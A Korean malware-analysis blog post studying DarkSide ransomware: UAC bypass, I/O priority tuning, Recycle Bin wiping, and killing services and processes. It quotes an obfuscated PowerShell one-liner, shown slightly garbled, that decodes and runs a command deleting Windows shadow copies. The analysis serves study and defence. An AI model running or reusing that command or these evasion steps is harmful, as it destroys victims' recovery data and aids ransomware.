美 최대 송유관 마비시킨 '다크사이드 랜섬웨어'
해당 악성코드 분석을 통해
IOCP, UAC Bypass, I/O우선순위, 세션ID를 이용한 프로세스 생성 등에 대한 개념을 배웠다.
(운영체제에 대한 지식이 좀 필요했던 것 같다.)
아,,, 분석보고서는 완성하지 않았다... 나머지 부분은 안봐도 뻔...... (그렇다고 내가 잘해서는 아니다)
idb (주석포함)
이 링크 꼭 읽어보길 추천한다.
( 윈도우 세션을 이용한 프로세스 생성?)
(https://stackoverflow.com/questions/301290/how-can-i-o-priority-of-a-process-be-increased)
IO우선순위를 3으로 셋팅해준다.
NtSetInformationProcess API 호출을 통해 프로세스의 우선 순위 및 입출력 우선 순위를 확인한다. 이를 위해 NtSetInformationProcess API 에 ProcessPriorityClass 및 ProcessIOPriority 를 인자로 주어, 두 번 호출한다. 해당 작업은 향후 파일 암호화 및 기타 랜섬 행위 수행 시 프로세스의 우선 순위를 높여 빠른 암호화를 수행할 수 있도록 함이며, 해당 작업에는 IO(Input/Output)으로 분류되는 입출력 행위에 대한 우선 순위가 보장되어야 하기 때문이다. - 소만사-
$Recycle.bin에 있는 것들을 재귀함수를 이용해서 모두 지운다. 즉, 휴지통을 비운다.
powershell -ep bypass -c "(061)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'Substring(2*$_,2))};iex $s"
--> 파워쉘을 이용해서 섀도 복사본 삭제한다.
다음과 같은 서비스를 찾아서 지웁니다.
다음과 같은 프로세스를 찾아서 죽입니다.
참고 문서
https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/
https://ragonfly.tistory.com/entry/Windows-UAC-Bypass-%EC%9B%90%EB%A6%AC
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=jjoommnn&logNo=130029485318
https://taeguk2.blogspot.com/2015/09/windows-vista-service-interactive.html
https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512
'Malware' 카테고리의 다른 글
| Tools and ways to bypass the AV (0) | 2022.01.06 |
|---|---|
| NSO의 페가수스(Pegasus) 악성코드 분석 (0) | 2021.08.07 |
| Lazarus Keylogger (HSMBalance.exe) (+복호화 추가) (0) | 2021.03.03 |
| 불법 성매매앱으로 위장한 악성 어플리케이션 (0) | 2021.02.13 |
| 금융 정보 탈취 악성코드 이모텟(Emotet) (0) | 2021.01.07 |